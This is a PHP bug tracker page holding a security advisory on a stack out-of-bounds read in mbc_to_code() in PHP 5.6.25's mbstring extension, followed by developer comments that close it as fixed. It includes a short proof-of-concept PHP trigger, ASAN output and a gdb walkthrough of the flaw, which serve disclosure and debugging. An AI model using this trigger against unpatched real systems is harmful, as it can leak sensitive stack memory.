php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Bug #72994 mbc_to_code() out of bounds read
Submitted: 2016-09-01 13:43 UTC Modified: 2016-09-04 14:31 UTC
From: research at sensepost dot com Assigned: cmb (profile)
Status: Closed Package: mbstring related
PHP Version: 5.6.25 OS: Ubuntu 14.04.4 LTS x64
Private report: No CVE-ID: None
View Developer Edit
Welcome! If you don't have a Git account, you can't do anything here.
If you reported this bug, you can edit this bug over here.
(description)
Block user comment
Status: Assign to:
Package:
Bug Type:
Summary:
From: research at sensepost dot com
New email:
PHP Version: OS:

 

 [2016-09-01 13:43 UTC] research at sensepost dot com
Description:
------------
---[SPSA-20YY-{##}/PHP]------------------------------


SECURITY ADVISORY:   SPSA-2016-{##}/PHP

Affected Software:   PHP 5.6.25
Vulnerability:       Out of Bounds Read
CVSSv3:              5.6
Severity:            Medium
Release Date:        2016-09-XX
	 

I. Background
~~~~~~~~~~~~~	   	

The mbc_to_code() used in mbstring extension is susceptible to a stack-based 
out-of-bounds read vulnerability.



II. Description
~~~~~~~~~~~~~~~

The following test case when run on an ASAN 5.6.x build of PHP produces the following error:

<?php
$var1 = mbereg_replace($var-232338951,NULL,NULL,NULL);
var_dump($var1);
?>


==28849==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffe96d960a2 at pc 0x00000061e732 bp 0x7ffe96d95770 sp 0x7ffe96d95768
READ of size 1 at 0x7ffe96d960a2 thread T0
    #0 0x61e731 in mbc_to_code /home/symeon/Desktop/php-5.6.25/ext/mbstring/oniguruma/enc/utf8.c:105
    #1 0x603bd8 in fetch_token /home/symeon/Desktop/php-5.6.25/ext/mbstring/oniguruma/regparse.c:3146
    #2 0x61284d in parse_regexp /home/symeon/Desktop/php-5.6.25/ext/mbstring/oniguruma/regparse.c:5514
    #3 0x612cb4 in onig_parse_make_tree /home/symeon/Desktop/php-5.6.25/ext/mbstring/oniguruma/regparse.c:5543
    #4 0x5d8f3e in onig_compile /home/symeon/Desktop/php-5.6.25/ext/mbstring/oniguruma/regcomp.c:5300
    #5 0x5d9f46 in onig_new /home/symeon/Desktop/php-5.6.25/ext/mbstring/oniguruma/regcomp.c:5545
    #6 0x6b49b9 in php_mbregex_compile_pattern /home/symeon/Desktop/php-5.6.25/ext/mbstring/php_mbregex.c:458
    #7 0x6b78eb in _php_mb_regex_ereg_replace_exec /home/symeon/Desktop/php-5.6.25/ext/mbstring/php_mbregex.c:870
    #8 0x6bacb6 in zif_mb_ereg_replace /home/symeon/Desktop/php-5.6.25/ext/mbstring/php_mbregex.c:1028
    #9 0xb321d4 in zend_do_fcall_common_helper_SPEC /home/symeon/Desktop/php-5.6.25/Zend/zend_vm_execute.h:558
    #10 0xb449af in ZEND_DO_FCALL_SPEC_CONST_HANDLER /home/symeon/Desktop/php-5.6.25/Zend/zend_vm_execute.h:2602
    #11 0xb30495 in execute_ex /home/symeon/Desktop/php-5.6.25/Zend/zend_vm_execute.h:363
    #12 0xb305de in zend_execute /home/symeon/Desktop/php-5.6.25/Zend/zend_vm_execute.h:388
    #13 0xa7e9e1 in zend_execute_scripts /home/symeon/Desktop/php-5.6.25/Zend/zend.c:1341
    #14 0x91951c in php_execute_script /home/symeon/Desktop/php-5.6.25/main/main.c:2613
    #15 0xc9119b in do_cli /home/symeon/Desktop/php-5.6.25/sapi/cli/php_cli.c:994
    #16 0xc9341f in main /home/symeon/Desktop/php-5.6.25/sapi/cli/php_cli.c:1378
    #17 0x7f47551d872f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2072f)
    #18 0x419e08 in _start (/home/symeon/Desktop/php-5.6.25/sapi/cli/php+0x419e08)

Address 0x7ffe96d960a2 is located in stack of thread T0 at offset 34 in frame
    #0 0x6b6cac in _php_mb_regex_ereg_replace_exec /home/symeon/Desktop/php-5.6.25/ext/mbstring/php_mbregex.c:788

  This frame has 18 object(s):
    [32, 34) 'pat_buf' <== Memory access at offset 34 overflows this variable
    [96, 100) 'replace_len'
    [160, 164) 'string_len'
    [224, 228) 'eval'
    [288, 292) 'option_str_len'
    [352, 360) 'args'
    [416, 424) 'arg_pattern_zval'
    [480, 488) 'replace'
    [544, 552) 'string'
    [608, 616) 'syntax'
    [672, 680) 'retval_ptr'
    [736, 744) 'subpats'
    [800, 824) 'out_buf'
    [864, 888) 'eval_buf'
    [928, 952) 'v'
    [992, 1032) 'arg_replace_fci_cache'
    [1088, 1160) 'arg_replace_fci'
    [1216, 1306) 'err_str'

Starting with the analysis on file ext/mbstring/php_mbregex.c line 814 a 
two bytes char array (pat_buf) is declared:

    --- cut ---
   812      OnigUChar *string_lim;
   813      char *description = NULL;
   814      char pat_buf[2];
    --- cut ---

Setting the following breakpoints and running the PoC under the dubugger gives the following output:

gdb-peda$ b utf8.c:104
Breakpoint 1 at 0x61e6f0: file /home/symeon/Desktop/php-5.6.25/ext/mbstring/oniguruma/enc/utf8.c, line 104.

gdb-peda$ b php_mbregex.c:863
Breakpoint 2 at 0x6b77f7: file /home/symeon/Desktop/php-5.6.25/ext/mbstring/php_mbregex.c, line 863.

gdb-peda$ b utf8.c:99
Breakpoint 3 at 0x61e667: file /home/symeon/Desktop/php-5.6.25/ext/mbstring/oniguruma/enc/utf8.c, line 99.

gdb-peda$ r ~/Desktop/php-asan_stack_oob_mbc_to_code.php 
Starting program: /home/symeon/Desktop/php-5.6.25/sapi/cli/php ~/Desktop/php-asan_stack_oob_mbc_to_code.php
[Thread debugging using libthread_db enabled]

Breakpoint 2, _php_mb_regex_ereg_replace_exec (ht=0x4, return_value=0x7ffff7f5c388, return_value_ptr=0x7ffff7f21a28, this_ptr=0x0, 
    return_value_used=0x1, options=0x0, is_callable=0x0) at /home/symeon/Desktop/php-5.6.25/ext/mbstring/php_mbregex.c:863
863         pat_buf[0] = (char)Z_LVAL_PP(arg_pattern_zval);

gdb-peda$ n

864         pat_buf[1] = '\0';
gdb-peda$ n

866         arg_pattern = pat_buf;

gdb-peda$ print *pat_buf
$1 = 0xf9

The pat_buf[0] is the result of the Z_LVAL_PP(arg_pattern_zval) function which is 0xf9.

gdb-peda$ x/8wx pat_buf
0x7fffffff9f00: 0xffff00f9  0x00007fff  0xfffff3ee  0x00000fff
0x7fffffff9f10: 0xffff9f70  0x00007fff  0xffffa600  0x00007fff


gdb-peda$ print pat_buf[0]
$3 = 0xf9
gdb-peda$ print pat_buf[1]
$4 = 0x0


Continuing  with the execution on file ext/mbstring/oniguruma/enc/utf8.c the length is 
going to be calculated and then the following loop is going to be executed:

    --- cut ---
    99    len = enclen(ONIG_ENCODING_UTF8, p);
   100    c = *p++;
   101    if (len > 1) {
   102      len--;
   103      n = c & ((1 << (6 - len)) - 1);
   104      while (len--) {
   105        c = *p++;
   106        n = (n << 6) | (c & ((1 << 6) - 1));
   107      }
   108      return n;
   109    }
    --- cut ---

gdb-peda$ c
Continuing.

Breakpoint 3, mbc_to_code (p=0x7fffffff9f00 <incomplete sequence \371>, end=0x7fffffff9f01 "")
    at /home/symeon/Desktop/php-5.6.25/ext/mbstring/oniguruma/enc/utf8.c:99
99    len = enclen(ONIG_ENCODING_UTF8, p);

gdb-peda$ n

100   c = *p++;
gdb-peda$ p/d len
$5 = 5

As seen above the len was incorrectly calculated. Stepping out four times, 
we enter into another loop on line 104.

gdb-peda$ n

101   if (len > 1) {
gdb-peda$ n

102     len–;
gdb-peda$ n

103     n = c & ((1 << (6 – len)) – 1);
gdb-peda$ n

Breakpoint 1, mbc_to_code (p=0x7fffffff9f01 "", end=0x7fffffff9f01 "") at /home/symeon/Desktop/php-5.6.25/ext/mbstring/oniguruma/enc/utf8.c:104
104     while (len--) {
gdb-peda$ p/d len
$6 = 4

On the following executions we are going to assign the 'c' variable to the 'p' pointer
and stepping into the loop two times we end up with the following:

104     while (len--) {
gdb-peda$ n

105       c = *p++;

This time 'c' is going to be assigned with the 'p' and at this phase we started reading beyond that buffer:

gdb-peda$ print c
$7 = 0x0
gdb-peda$ print *p
$8 = 0xff
gdb-peda$ print p
$9 = (const OnigUChar *) 0x7fffffff9f02 "\377\377\377\177"

The next iteration will assign the value 0xff to the 'c' variable and thus start leaking
other variables from the stack.

Continuing the execution the out-of-bounds ASAN error kicks in:

gdb-peda$ n

=================================================================
==8169==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7fffffff9f02 at pc 0x00000061e732 bp 0x7fffffff95d0 sp 0x7fffffff95c8
READ of size 1 at 0x7fffffff9f02 thread T0
--- cut ---
==8169==ABORTING
[Inferior 1 (process 8169) exited with code 01]


III. Impact
~~~~~~~~~~~
An attacker who successfully exploited the vulnerability could start leaking other stack variables
and may allow access to sensitive memory.



IV. Disclosure
~~~~~~~~~~~~~

Reported By: Symeon Paraschoudis

Discovery Date:         2016-08-26
Vendor Informed:        2016-09-01
Advisory Release Date:  2016-09-XX
Patch Release Date:     2016-09-XX
Advisory Updated:       2016-09-XX
 

---------------------------------[SPSA 2016-##/PHP]---



Patches

Pull Requests

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2016-09-02 05:02 UTC] stas@php.net
-Type: Security +Type: Bug
 [2016-09-04 14:31 UTC] cmb@php.net
-Status: Open +Status: Analyzed -Assigned To: +Assigned To: cmb
 [2016-09-04 14:31 UTC] cmb@php.net
Basically this is a duplicate of bug #72405, which has been fixed
as of PHP 7.0.9 only. I'm going to backport the fix to PHP 5.6.
 [2016-09-04 14:58 UTC] cmb@php.net
Automatic comment on behalf of cmbecker69@gmx.de
Revision: http://git.php.net/?p=php-src.git;a=commit;h=b7259b71b430ed733441261f7cf1282f04bb80f1
Log: Fix #72994: mbc_to_code() out of bounds read
 [2016-09-04 14:58 UTC] cmb@php.net
-Status: Analyzed +Status: Closed
 [2016-10-17 10:08 UTC] bwoebi@php.net
Automatic comment on behalf of cmbecker69@gmx.de
Revision: http://git.php.net/?p=php-src.git;a=commit;h=b7259b71b430ed733441261f7cf1282f04bb80f1
Log: Fix #72994: mbc_to_code() out of bounds read
 
PHP Copyright © 2001-2024 The PHP Group
All rights reserved.
Last updated: Thu Nov 21 14:01:29 2024 UTC